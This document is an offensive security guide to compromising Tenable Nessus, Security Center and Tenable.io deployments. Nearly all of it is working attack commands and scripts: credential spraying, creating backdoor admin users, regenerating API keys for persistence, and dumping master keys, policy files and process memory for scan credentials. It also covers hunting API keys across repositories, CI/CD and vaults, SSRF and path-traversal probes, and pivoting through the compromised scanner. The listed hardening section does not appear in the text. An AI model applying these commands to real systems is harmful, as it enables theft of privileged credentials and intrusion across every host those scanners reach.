Tenable Nessus / Security Center Security Testing: API Key Abuse, Scanner Exploitation, and Scan Credential Extraction

Tenable is the world's leading exposure management company. Nessus is the most widely deployed vulnerability scanner — used by over 75% of Fortune 500 organizations. Tenable Security Center (on-premises) and Tenable.io (cloud SaaS) aggregate every vulnerability finding across an organization's entire infrastructure. Compromising Tenable means obtaining a complete, up-to-date map of every unpatched system in the environment. More critically: Nessus scanners store the privileged SSH, Windows, SNMP, and database credentials used for authenticated scanning — credentials that work on every scanned host.

Table of Contents

  1. Tenable Product Architecture
  2. Reconnaissance and Fingerprinting
  3. Default Credentials
  4. Nessus REST API Exploitation
  5. Stored Scan Credential Extraction
  6. Nessus Policy File Analysis
  7. Tenable Security Center API
  8. Tenable.io Cloud API
  9. API Key Hunting Across Systems
  10. Known CVEs in Nessus and Tenable Products
  11. Scanner Network Position Abuse
  12. Post-Exploitation Value
  13. Hardening and Remediation

Tenable Product Architecture

The Tenable ecosystem spans standalone scanners, enterprise management platforms, and cloud SaaS. Understanding the attack surface of each product tier is essential before testing.

ProductDeploymentDefault PortPrimary Interface
Nessus Professional / EssentialsStandalone VM or host8834 (HTTPS)Web UI + REST API
Nessus ManagerOn-premises server8834 (HTTPS)Web UI + REST API
Tenable Security Center (Tenable.sc)On-premises appliance or VM443 (HTTPS)Web UI at /rest/
Tenable.ioCloud SaaS443cloud.tenable.com API
Nessus Network Monitor (NNM)On-premises passive tap8835 (HTTPS)Web UI
Tenable OT Security (formerly Indegy)On-premises appliance443Web UI + API
Tenable LuminCloud SaaS add-on443Tenable.io extension

In most enterprise deployments, the architecture is: multiple Nessus scanners (one per network segment) managed by either Nessus Manager or Tenable.sc, feeding vulnerability data upward to Tenable.io or a local Tenable.sc instance. The scanners themselves are the most privileged components — they hold credentials and have firewall rules permitting inbound connections on every scan port across all segments.

Key Files and Directories

Reconnaissance and Fingerprinting

Nessus and Tenable.sc leave distinctive fingerprints at both the network and HTTP layers. The goal during reconnaissance is to identify product version, patch level, and whether the instance is standalone, managed, or cloud-linked.

Nessus (Port 8834) Fingerprinting

# Basic TCP discovery — Nessus runs exclusively on 8834 HTTPS
nmap -sV -p 8834 --script ssl-cert {target}

# HTTP header fingerprinting
curl -sk https://{nessus}:8834/ -I
# Look for:
# X-Frame-Options: SAMEORIGIN
# Content-Security-Policy header (varies by version)
# Server: NessusWWW (older) or blank (newer)

# Default 404 page contains Nessus branding
curl -sk https://{nessus}:8834/nonexistent | grep -i "nessus"

# SSL certificate CN is often "NessusServer" on default installs
echo | openssl s_client -connect {nessus}:8834 2>/dev/null | openssl x509 -noout -subject

# Unauthenticated version disclosure (older Nessus 5/6 instances)
curl -sk "https://{nessus}:8834/nessus6-server/rest/server/properties" | python3 -m json.tool
# Returns: {"nessus_ui_version","nessus_type","scanner_boottime",...}

# Nessus 8+ version endpoint (requires auth, but version sometimes in HTML)
curl -sk "https://{nessus}:8834/" | grep -i "version\|build"

Shodan and Censys Dorks

# Shodan queries for exposed Nessus instances
# http.title:"Nessus" port:8834
# http.favicon.hash:-1656653482
# ssl.cert.subject.cn:"NessusServer"
# "X-Frame-Options: SAMEORIGIN" port:8834

# Censys
# services.http.response.html_title="Nessus" AND services.port=8834
# services.tls.certificates.leaf_data.subject_dn="CN=NessusServer"

# Tenable Security Center fingerprinting (port 443)
curl -sk https://{sc}/ -I | grep -i "tenable\|securitycenter\|sc-"
curl -sk https://{sc}/rest/system | python3 -m json.tool
# Some SC versions return version info unauthenticated via /rest/system

Version Identification Table

Nessus VersionNotable Security PropertiesAPI Differences
Nessus 5.xOlder credential encryption, XML-RPC APIXML-RPC at port 1241
Nessus 6.xREST API introduced, weaker master.key derivationREST at :8834/
Nessus 8.xImproved master.key, API keys addedX-ApiKeys header supported
Nessus 10.xCurrent; improved auth, API key rotation enforcedFull REST + WS API
Tenable.sc 5.xX-SecurityCenter token auth/rest/ base path
Tenable.sc 6.xCurrent; token + API key support/rest/ + token rotation

Default Credentials

Nessus requires creating an admin account during first-run setup — there is no shipped default password. However, in practice many deployments use predictable credentials, and the setup wizard is frequently completed with weak passwords in automated deployments.

ProductCommon Default / Weak CredentialsNotes
Nessus (first-run)admin/admin, admin/nessus, admin/Password1Set during install; no factory default
Tenable Security Centeradmin/admin, TNS/SecurityCenterOlder versions shipped with defaults
Nessus Network Monitoradmin/adminWeb UI defaults
Tenable OT Securityadmin/adminIndustrial deployment — often unchanged
Nessus (Docker)Set via env var; often admin/admin in lab configsDocker Hub image: tenable/nessus
Credential spray note: Nessus does not enforce account lockout by default prior to version 10.x. In enterprise assessments, credential spraying against the /session endpoint with common passwords (admin, nessus, P@ssw0rd, company name + year) against all discovered Nessus instances on port 8834 is a viable technique.

Nessus REST API Exploitation

The Nessus REST API at https://{nessus}:8834/ provides full programmatic control of the scanner. Authentication uses either session tokens (obtained via /session login) or API key pairs (accessKey + secretKey) via the X-ApiKeys header. The API exposes scan targets, results, stored credentials, user management, and scanner configuration.

Authentication and Session Token Acquisition

# Authenticate with username/password — returns session token
curl -sk -X POST "https://{nessus}:8834/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}'
# Returns: {"token":"","permissions":128,...}

# Authenticate with API key pair (Nessus 8+)
# X-ApiKeys format: accessKey=;secretKey=
curl -sk "https://{nessus}:8834/scans" \
  -H "X-ApiKeys: accessKey=aaaaaa...;secretKey=bbbbbb..."

# Session tokens are valid for the session duration
# Store and reuse:
TOKEN=$(curl -sk -X POST "https://{nessus}:8834/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

echo "Token: $TOKEN"

Scan and Target Enumeration

# List all scans (names, target IPs/ranges, last run, status)
curl -sk "https://{nessus}:8834/scans" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Get detailed scan info including target CIDR ranges
curl -sk "https://{nessus}:8834/scans/{scan_id}" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Extract just the targets from all scans
curl -sk "https://{nessus}:8834/scans" \
  -H "X-Cookie: token=$TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for s in data.get('scans', []):
    print(f\"Scan: {s['name']} | Targets: {s.get('targets','N/A')} | Last: {s.get('last_modification_date','N/A')}\")
"

# Get scan results — returns full vulnerability list for all hosts
curl -sk "https://{nessus}:8834/scans/{scan_id}" \
  -H "X-Cookie: token=$TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
hosts = data.get('hosts', [])
print(f'Total hosts scanned: {len(hosts)}')
for h in hosts:
    print(f\"  {h['hostname']} — Critical: {h.get('critical',0)}, High: {h.get('high',0)}, Medium: {h.get('medium',0)}\")
"

Scan Export — Full Vulnerability Data

# Initiate scan export (Nessus XML format for offline analysis)
curl -sk -X POST "https://{nessus}:8834/scans/{scan_id}/export" \
  -H "X-Cookie: token=$TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"format":"nessus"}'
# Returns: {"token":"","file":}

# Poll export status
curl -sk "https://{nessus}:8834/scans/{scan_id}/export/{file_id}/status" \
  -H "X-Cookie: token=$TOKEN"
# Wait for: {"status":"ready"}

# Download the .nessus file (complete XML with all findings)
curl -sk "https://{nessus}:8834/scans/{scan_id}/export/{file_id}/download" \
  -H "X-Cookie: token=$TOKEN" -o scan_results.nessus

# Export as CSV for quick analysis
curl -sk -X POST "https://{nessus}:8834/scans/{scan_id}/export" \
  -H "X-Cookie: token=$TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"format":"csv","reportContents":{"csvColumns":{"id":true,"cve":true,"cvss":true,"risk":true,"hostname":true,"port":true,"protocol":true,"pluginName":true,"synopsis":true,"description":true,"solution":true,"pluginOutput":true}}}'

User Management and API Key Generation

# List all users (reveals account names, permissions, last login)
curl -sk "https://{nessus}:8834/users" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Generate new API keys for a user (overwrites existing keys)
# This is how attackers create persistent API access even after password rotation
curl -sk -X PUT "https://{nessus}:8834/users/{user_id}/keys" \
  -H "X-Cookie: token=$TOKEN"
# Returns: {"accessKey":"","secretKey":""}
# IMPORTANT: Save immediately — secretKey is only shown once

# Create a backdoor admin user
curl -sk -X POST "https://{nessus}:8834/users" \
  -H "X-Cookie: token=$TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"svcaccount","password":"Sup3rS3cur3!","permissions":128,"type":"local"}'
# permissions: 128 = admin, 32 = regular user

Credential Store Enumeration

# List all stored scan credentials (shows names and types, NOT passwords)
curl -sk "https://{nessus}:8834/credentials" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool
# Returns credential entries with: id, name, type (ssh/windows/snmp/database), username

# Get specific credential details
curl -sk "https://{nessus}:8834/credentials/{cred_id}" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool
# Note: password field is REDACTED in API responses by design
# Actual passwords are only accessible via file system (see policy file section)

# List scan policies (which credentials are attached to which scans)
curl -sk "https://{nessus}:8834/policies" \
  -H "X-Cookie: token=$TOKEN" | python3 -m json.tool

# Download a policy file (contains credential references in XML)
curl -sk "https://{nessus}:8834/policies/{policy_id}/export" \
  -H "X-Cookie: token=$TOKEN" -o policy.xml
Critical attack value: The Nessus credential store typically contains SSH private keys or service account passwords for every Linux/Unix system in scope, Windows domain credentials (often a domain admin service account), SNMP community strings for all network devices, and database credentials. A single compromised Nessus instance can unlock the entire infrastructure it was deployed to scan.

Stored Scan Credential Extraction

Nessus stores scan credentials on disk in an encrypted format within policy XML files. While the REST API does not expose plaintext credentials, local file system access (obtainable through command execution, LFI, or direct file access after lateral movement to the scanner host) reveals the encrypted credential data along with the master key needed for decryption.

Credential Storage Architecture

Nessus encrypts stored credentials using AES-256 in CBC mode. The encryption key is derived from the installation's master key file. On Linux, the Nessus daemon runs as root — any process-level compromise of the scanner host yields full credential access.

File System Enumeration After Shell Access

# Enumerate policy files containing credentials
find /opt/nessus/var/nessus/users/ -name "*.nessus" -ls 2>/dev/null
# .nessus files are XML — each policy has name, settings, and credential configs

# Extract all policy files for offline analysis
tar czf /tmp/nessus_policies.tar.gz /opt/nessus/var/nessus/users/ 2>/dev/null

# Retrieve the master key
cat /opt/nessus/var/nessus/master.key
# Or for older installations:
find /opt/nessus/var/nessus/ -name "master.key" 2>/dev/null -exec cat {} \;

# Check nessusd.conf for additional sensitive configuration
grep -i "password\|secret\|key\|proxy" /opt/nessus/etc/nessus/nessusd.conf

# On Windows (PowerShell):
# Get-ChildItem "C:\ProgramData\Tenable\Nessus\nessus\users\" -Recurse -Filter "*.nessus"
# type "C:\ProgramData\Tenable\Nessus\nessus\master.key"

Extracting Credentials from Process Memory

# Nessus daemons hold decrypted credentials in memory during active scans
# Process memory dump can yield plaintext credentials

# Identify Nessus daemon PIDs
ps aux | grep -E "nessus|nessusd"

# Dump process memory (requires root)
# For nessusd PID 1234:
gcore -o /tmp/nessusd_mem 1234

# Search memory dump for credential patterns
strings /tmp/nessusd_mem.1234 | grep -iE "password|passwd|secret|community|snmp" | head -50
strings /tmp/nessusd_mem.1234 | grep -E "^[A-Za-z0-9!@#$%^&*]{8,}$" | sort -u | head -100

# Alternative: read /proc/{pid}/mem directly
# cat /proc/1234/maps | grep heap
# dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=$HEAP_SIZE 2>/dev/null | strings | grep -i password

Nessus Policy File Analysis

Nessus policy files (.nessus) are XML documents containing scan configuration, plugin selection, and — critically — the credential configurations used for authenticated scanning. While passwords are encrypted with the master key, the structure reveals credential types, usernames, and target systems.

Policy File Structure

# A .nessus policy file contains several key sections:
# <ServerPreferences>    — Nessus server-level settings
# <PluginsPreferences>   — Credential plugin settings (SSH, SMB, SNMP, DB)
# <FamilySelection>      — Enabled plugin families
# <IndividualPluginSelection> — Specific plugins enabled/disabled

# Example: extracting credential sections from all policy files
grep -l "Credentials\|ssh_login\|SMB\|snmp" /opt/nessus/var/nessus/users/*/policies/*.nessus

# Parse credential entries from policy XML
python3 << 'EOF'
import xml.etree.ElementTree as ET
import os, glob

policy_dir = "/opt/nessus/var/nessus/users/"
for policy_file in glob.glob(policy_dir + "**/policies/*.nessus", recursive=True):
    try:
        tree = ET.parse(policy_file)
        root = tree.getroot()
        print(f"\n[Policy: {policy_file}]")
        # Find plugin preferences (credential settings stored here)
        for pref in root.iter('preference'):
            name_el = pref.find('name')
            value_el = pref.find('value')
            if name_el is not None and value_el is not None:
                name = name_el.text or ""
                value = value_el.text or ""
                # Filter for credential-related preferences
                if any(k in name.lower() for k in ['login', 'password', 'secret', 'community', 'user', 'key']):
                    print(f"  {name}: {value[:80]}")
    except Exception as e:
        print(f"  Error parsing {policy_file}: {e}")
EOF

Credential Decryption

# Nessus credential encryption (Nessus 8+):
# Credentials are encrypted with AES-256-CBC
# Key derived from: master.key + credential-specific salt
# Older Nessus 6.x used a static key (publicly known)

# For Nessus 6.x — static encryption key (historical):
# The key was: "NessusServer" — widely documented in security research
# python3 -c "
# from Crypto.Cipher import AES
# import base64
# key = b'NessusServer\x00\x00\x00\x00'  # padded to 16 bytes
# # decrypt the base64-encoded credential value from policy XML
# "

# For Nessus 8+: use the master.key
# community research tools available on GitHub for master.key-based decryption
# Search: "nessus credential decrypt master.key"

# Alternative approach: replace encrypted credential with known plaintext
# Modify the policy XML to replace the encrypted password with your own
# (useful for understanding the encryption scheme)

# Nessus also stores SSH private keys for key-based auth:
grep -r "BEGIN.*PRIVATE KEY" /opt/nessus/var/nessus/users/*/policies/ 2>/dev/null
# Private keys may be stored in cleartext within policy files
Finding SSH private keys: SSH private keys used for authenticated scanning are frequently stored in cleartext within Nessus policy XML files. A simple grep -r "BEGIN.*PRIVATE KEY" across the policy directory often yields multiple keys — each valid for every host in the corresponding scan policy's target range.

Tenable Security Center (Tenable.sc) API

Tenable Security Center provides centralized management for multiple Nessus scanners. It aggregates vulnerability data from all connected scanners and provides enterprise reporting. The REST API at /rest/ uses token-based authentication with the X-SecurityCenter header. At scale, Tenable.sc is even higher-value than individual Nessus instances — it holds the complete vulnerability picture for the entire organization.

Authentication

# Tenable.sc login — returns session token
curl -sk -c cookies.txt -X POST "https://{sc}/rest/token" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}'
# Returns: {"type":"regular","token":"","tokenKey":"X-SecurityCenter"}

# Store token for reuse
SC_TOKEN=$(curl -sk -X POST "https://{sc}/rest/token" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['response']['token'])")

# All subsequent requests use X-SecurityCenter header
curl -sk "https://{sc}/rest/currentUser" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

Organization and Asset Enumeration

# List all repositories (asset/vulnerability databases)
curl -sk "https://{sc}/rest/repository?fields=id,name,type,dataFormat" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# List all organizations (multi-tenant SC deployments)
curl -sk "https://{sc}/rest/organization?fields=id,name,description" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# List all IP ranges managed (complete asset inventory)
curl -sk "https://{sc}/rest/ipInfo?fields=ip,os,netbiosName,dnsName,macAddress&startOffset=0&endOffset=1000" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# List all connected Nessus scanners (with their IPs — useful for lateral movement)
curl -sk "https://{sc}/rest/scanner?fields=id,name,ip,port,type,status" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# List all scan policies
curl -sk "https://{sc}/rest/policy?fields=id,name,description,status" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

Vulnerability Data Extraction

# Query cumulative vulnerability data — all open findings
curl -sk -X POST "https://{sc}/rest/analysis" \
  -H "X-SecurityCenter: $SC_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "vuln",
    "query": {
      "type": "vuln",
      "tool": "sumid",
      "startOffset": 0,
      "endOffset": 1000,
      "filters": []
    },
    "sourceType": "cumulative",
    "view": "all"
  }' | python3 -m json.tool

# Get all critical/high vulnerabilities (severity 3=high, 4=critical)
curl -sk -X POST "https://{sc}/rest/analysis" \
  -H "X-SecurityCenter: $SC_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "vuln",
    "query": {
      "type": "vuln",
      "tool": "vulndetails",
      "startOffset": 0,
      "endOffset": 500,
      "filters": [{"id":"severity","filterName":"severity","operator":"=","value":"3,4"}]
    },
    "sourceType": "cumulative"
  }' | python3 -m json.tool

# Generate full vulnerability report for all assets
curl -sk -X POST "https://{sc}/rest/report/generate" \
  -H "X-SecurityCenter: $SC_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"id":,"sendOnFailure":false,"sendOnSuccess":false}'

Credential Management in Tenable.sc

# List all credentials stored in Tenable.sc
curl -sk "https://{sc}/rest/credential?fields=id,name,type,username,description" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# Get credential detail (password is NOT returned via API — requires DB/file access)
curl -sk "https://{sc}/rest/credential/{cred_id}?fields=id,name,type,username,authType" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# Tenable.sc credentials stored on disk at:
# /opt/sc/admin/credentials/  (encrypted, proprietary format)
# Database: /opt/sc/admin/db/SC.db (SQLite) — contains encrypted credential blobs

# Extract SC database for offline analysis
ls -la /opt/sc/admin/db/
sqlite3 /opt/sc/admin/db/SC.db ".tables"
sqlite3 /opt/sc/admin/db/SC.db "SELECT name, username, password FROM Credentials LIMIT 20;"
# Passwords are AES-encrypted with SC-specific master key

User and Permission Enumeration

# List all Tenable.sc users
curl -sk "https://{sc}/rest/user?fields=id,username,firstname,lastname,role,authType,lastLogin" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# Get user API keys (Tenable.sc 5.13+)
curl -sk "https://{sc}/rest/user/{user_id}/apiKey" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool

# Regenerate API key for persistent access
curl -sk -X POST "https://{sc}/rest/user/{user_id}/apiKey" \
  -H "X-SecurityCenter: $SC_TOKEN" | python3 -m json.tool
# Returns: {"accessKey":"...","secretKey":"..."}

Tenable.io Cloud API

Tenable.io is the SaaS version of the Tenable platform. It uses permanent API key pairs (accessKey + secretKey) via the X-ApiKeys header. A compromised Tenable.io API key provides access to every scan result, every asset, and every connected scanner — including cloud connector credentials (AWS/Azure/GCP service accounts). The API is documented at developer.tenable.com.

Authentication and Basic Enumeration

# All Tenable.io API requests use X-ApiKeys header
# Format: accessKey=;secretKey=

# Verify credentials and get account info
curl -X GET "https://cloud.tenable.com/session" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool

# List all scans
curl -X GET "https://cloud.tenable.com/scans" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool

# List all assets (complete inventory with OS, last seen, vulnerability counts)
curl -X GET "https://cloud.tenable.com/assets" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool

# Get vulnerabilities for all assets (workbench API)
curl -X GET "https://cloud.tenable.com/workbenches/assets" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" \
  -G --data-urlencode "all_fields=true" | python3 -m json.tool

Bulk Vulnerability Export

# Export all vulnerabilities (async — large datasets)
# Step 1: Initiate export
EXPORT_UUID=$(curl -s -X POST "https://cloud.tenable.com/vulns/export" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"filters":{"severity":["critical","high","medium"]}}' | python3 -c "import sys,json; print(json.load(sys.stdin)['export_uuid'])")

# Step 2: Poll for completion
curl -X GET "https://cloud.tenable.com/vulns/export/${EXPORT_UUID}/status" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}"
# Wait for: {"status":"FINISHED","chunks_available":[1,2,3,...]}

# Step 3: Download each chunk
curl -X GET "https://cloud.tenable.com/vulns/export/${EXPORT_UUID}/chunks/1" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" \
  -o vuln_chunk_1.json

# Export assets (for complete network map)
curl -s -X POST "https://cloud.tenable.com/assets/export" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"chunk_size":1000}'

Cloud Connector and Credential Enumeration

# List cloud connectors (AWS/Azure/GCP — often have IAM credentials attached)
curl -X GET "https://cloud.tenable.com/cloud-providers" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool

# List linked Nessus scanners (IP addresses for lateral movement)
curl -X GET "https://cloud.tenable.com/scanners" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool

# List scan templates (includes credential types configured)
curl -X GET "https://cloud.tenable.com/editor/scan/templates" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool

# List all users (for account enumeration)
curl -X GET "https://cloud.tenable.com/users" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool

# List managed credentials (names + types, no plaintext passwords)
curl -X GET "https://cloud.tenable.com/credentials" \
  -H "X-ApiKeys: accessKey=${ACCESS_KEY};secretKey=${SECRET_KEY}" | python3 -m json.tool
Cloud connector risk: Tenable.io cloud connectors for AWS, Azure, and GCP use IAM credentials with broad read permissions (SecurityAudit policy in AWS). A compromised Tenable.io API key can expose these cloud IAM credentials, potentially providing read access to cloud resource inventories, S3 buckets, and configuration data across cloud environments.

API Key Hunting Across Systems

Tenable API keys (both Nessus API keys and Tenable.io accessKey/secretKey pairs) are frequently committed to source code repositories, stored in CI/CD pipelines, hardcoded in scripts, or left in configuration files. Systematic hunting across common locations is a high-yield technique.

Source Code and Repository Hunting

# GitHub dorking for exposed Tenable.io keys
# These Tenable.io API keys follow a 64-character hex pattern:
# accessKey=[a-f0-9]{64}
# secretKey=[a-f0-9]{64}

# GitHub search queries:
# "cloud.tenable.com" "accessKey" language:python
# "X-ApiKeys" "secretKey" site:github.com
# filename:.env "TENABLE_ACCESS_KEY"
# filename:config.yml "tenable" "secret"
# "accessKey" "secretKey" "tenable" extension:json

# Trufflehog scanning for Tenable secrets
trufflehog github --repo https://github.com/{org}/{repo} --only-verified

# Gitleaks scan (includes Tenable detector)
gitleaks detect --source /path/to/repo --report-format json

File System and Configuration Search

# Grep local filesystem for Tenable API key patterns
grep -r "cloud.tenable.com" /etc/ /opt/ /var/ /home/ 2>/dev/null
grep -rE "accessKey.*[a-f0-9]{64}" /etc/ /opt/ /home/ 2>/dev/null
grep -rE "TENABLE_(ACCESS|SECRET)_KEY" /etc/ /opt/ /home/ 2>/dev/null

# Common config file locations
find / -name "*.env" -exec grep -l "tenable\|nessus" {} \; 2>/dev/null
find / -name "*.yml" -o -name "*.yaml" | xargs grep -l "tenable" 2>/dev/null
find / -name "*.json" | xargs grep -l "cloud.tenable.com" 2>/dev/null
find / -name "*.conf" | xargs grep -l "nessus\|tenable" 2>/dev/null

# Shell history files
grep -i "tenable\|nessus\|accessKey\|secretKey" \
  ~/.bash_history ~/.zsh_history ~/.zshrc ~/.bashrc \
  ~/.bash_profile ~/.profile 2>/dev/null

CI/CD Pipeline and Infrastructure as Code

# Jenkins — check Credentials Store via API
curl -u admin:admin "http://{jenkins}:8080/credentials/store/system/domain/_/api/json?pretty=true"

# GitHub Actions — repository secrets (requires admin access)
gh secret list --repo {owner}/{repo}

# GitLab CI — list CI/CD variables
curl -H "PRIVATE-TOKEN: {gitlab_token}" \
  "https://{gitlab}/api/v4/projects/{project_id}/variables" | python3 -m json.tool
# Look for: TENABLE_ACCESS_KEY, TENABLE_SECRET_KEY, NESSUS_API_KEY

# HashiCorp Vault — check Tenable secrets
vault kv get secret/tenable
vault kv get secret/scanning/nessus
vault list secret/

# Terraform state files (often contain provider credentials)
find / -name "terraform.tfstate" 2>/dev/null | xargs grep -l "tenable" 2>/dev/null
find / -name "*.tfvars" 2>/dev/null | xargs grep -l "tenable\|nessus" 2>/dev/null

# Ansible — check vars files and vaults
grep -r "tenable\|nessus" /etc/ansible/ ~/.ansible/ 2>/dev/null
find / -name "group_vars" -o -name "host_vars" | xargs grep -rl "tenable" 2>/dev/null

Validating Discovered Keys

# Quick validation for Tenable.io keys (non-destructive)
curl -s "https://cloud.tenable.com/session" \
  -H "X-ApiKeys: accessKey=${CANDIDATE_ACCESS};secretKey=${CANDIDATE_SECRET}" \
  -o /dev/null -w "%{http_code}"
# 200 = valid, 401 = invalid

# Quick validation for Nessus keys
curl -sk "https://{nessus}:8834/session" \
  -H "X-ApiKeys: accessKey=${CANDIDATE_ACCESS};secretKey=${CANDIDATE_SECRET}" \
  -o /dev/null -w "%{http_code}"

# Automated key validation across multiple discovered candidates
for LINE in $(cat discovered_keys.txt); do
  ACCESS=$(echo $LINE | cut -d: -f1)
  SECRET=$(echo $LINE | cut -d: -f2)
  STATUS=$(curl -s "https://cloud.tenable.com/session" \
    -H "X-ApiKeys: accessKey=${ACCESS};secretKey=${SECRET}" \
    -o /dev/null -w "%{http_code}")
  echo "$STATUS — $ACCESS"
done

Known CVEs in Nessus and Tenable Products

While Nessus is designed to find vulnerabilities in other systems, it has itself been subject to several CVEs over the years. Notably, the Nessus web interface runs a bundled Node.js application server — historically a source of vulnerabilities.

CVECVSSProductTypeDescription
CVE-2021-200797.8Nessus Agent (Windows)Privilege EscalationNessus Agent on Windows allows local privilege escalation via DLL search order hijacking during agent updates
CVE-2021-200997.8Nessus Agent (Windows)DLL InjectionUnprivileged local attacker can inject DLL into the Nessus Agent service process, gaining SYSTEM
CVE-2021-201007.8Nessus Agent (Windows)EoPNessus Agent prior to 8.2.4 allows privilege escalation on Windows via named pipe impersonation
CVE-2014-53016.8Nessus 5.xCSRFCSRF in Nessus HTTPS login allows an attacker to perform authenticated actions if the victim is logged in
CVE-2012-34493.6Nessus / OpenVPNInfo DisclosureOpenVPN credential handling in Nessus plugin exposed credentials in process listing

Nessus Node.js Interface — Historical RCE Surface

# The Nessus web UI (port 8834) runs a Node.js server
# Check Node.js version (sometimes visible in headers or error pages)
curl -sk https://{nessus}:8834/nonexistent 2>&1 | grep -i "node\|express\|version"

# Nessus bundles third-party Node.js packages — check for outdated dependencies
# These are not directly accessible but inform patch urgency assessment

# Nuclei templates for Nessus vulnerabilities
nuclei -u https://{nessus}:8834 -tags tenable,nessus -severity high,critical

# Check Tenable's own security advisories (notable irony)
# https://www.tenable.com/security/research
# https://www.tenable.com/security/tns-advisory

Tenable.sc Vulnerabilities

# Tenable.sc runs on CentOS/RHEL — check for OS-level vulnerabilities
# The SC application itself has had PHP-based vulnerabilities in older versions
# SC 5.x ran PHP — check for injection in report parameters

# Test for SSRF in Tenable.sc scanner connectivity checks
curl -sk -X POST "https://{sc}/rest/scanner/testConnection" \
  -H "X-SecurityCenter: $SC_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ip":"169.254.169.254","port":8834}'
# SSRF — forces SC to connect to AWS metadata endpoint

# Check for path traversal in report generation
curl -sk "https://{sc}/rest/report/download?id=../../../etc/passwd" \
  -H "X-SecurityCenter: $SC_TOKEN"

Scanner Network Position Abuse

Even without exploiting Nessus application vulnerabilities, a compromised Nessus scanner occupies an extraordinarily privileged network position. Security teams place Nessus scanners in every network segment specifically so the scanner can reach everything — and firewall rules permit exactly that.

Firewall Rule Enumeration via Scanner Position

# After compromising a Nessus scanner, enumerate its network access
# The scanner has firewall rules allowing it to reach:
# - ALL TCP ports on all target hosts in its scan policies
# - ICMP to all targets
# - Typically: outbound to Tenable.sc or Tenable.io for result upload

# Map reachable segments from the scanner
nmap -sn 10.0.0.0/8 192.168.0.0/16 172.16.0.0/12 -oG - 2>/dev/null | grep "Up" | awk '{print $2}'

# Probe ports that Nessus is known to use (guaranteed to be whitelisted)
# These ports will be open inbound from the scanner to targets:
for PORT in 22 23 25 80 110 111 135 139 143 389 443 445 631 993 995 \
            1433 1521 3306 3389 5432 5900 8080 8443; do
  echo "Testing port $PORT..."
  nmap -p $PORT --open -iL target_list.txt -oG - 2>/dev/null | grep "open" | head -5
done

Using the Scanner as a Pivot Point

# Set up SOCKS proxy through compromised Nessus scanner
# (Scanner has credentials and firewall access to everything it scans)
ssh -D 1080 -N user@{nessus_scanner_ip}

# Configure proxychains to route through scanner
cat >> /etc/proxychains.conf << 'EOF'
[ProxyList]
socks5 127.0.0.1 1080
EOF

# Now reach isolated segments through the scanner
proxychains nmap -sT -p 22,80,443,3389 {isolated_segment_ip}
proxychains curl http://{internal_app}/admin/

# Chisel for firewall traversal (when SSH is not available)
# On scanner (after code execution):
./chisel server --port 8888 --reverse

# On attacker:
./chisel client {nessus_ip}:8888 R:1080:socks

Credential Re-Use from Scan Policies

# Extracted Nessus scan credentials work on EVERY host in the scan scope
# Typical scan policy credentials:
# - SSH service account: valid on all Linux/Unix hosts in scope
# - Windows domain service account: valid on ALL domain members
# - SNMP community string: valid on all network devices in scope
# - Database credentials: valid on all scanned database servers

# Verify SSH credential extracted from Nessus policy
ssh -o StrictHostKeyChecking=no -i extracted_key.pem scan_user@{target_host}

# Test Windows credential via SMB
crackmapexec smb {target_ip_range} -u nessus_scan_user -p 'ExtractedPassword123!'

# Test SNMP community string
snmpwalk -v2c -c {extracted_community} {network_device_ip} 1.3.6.1.2.1.1

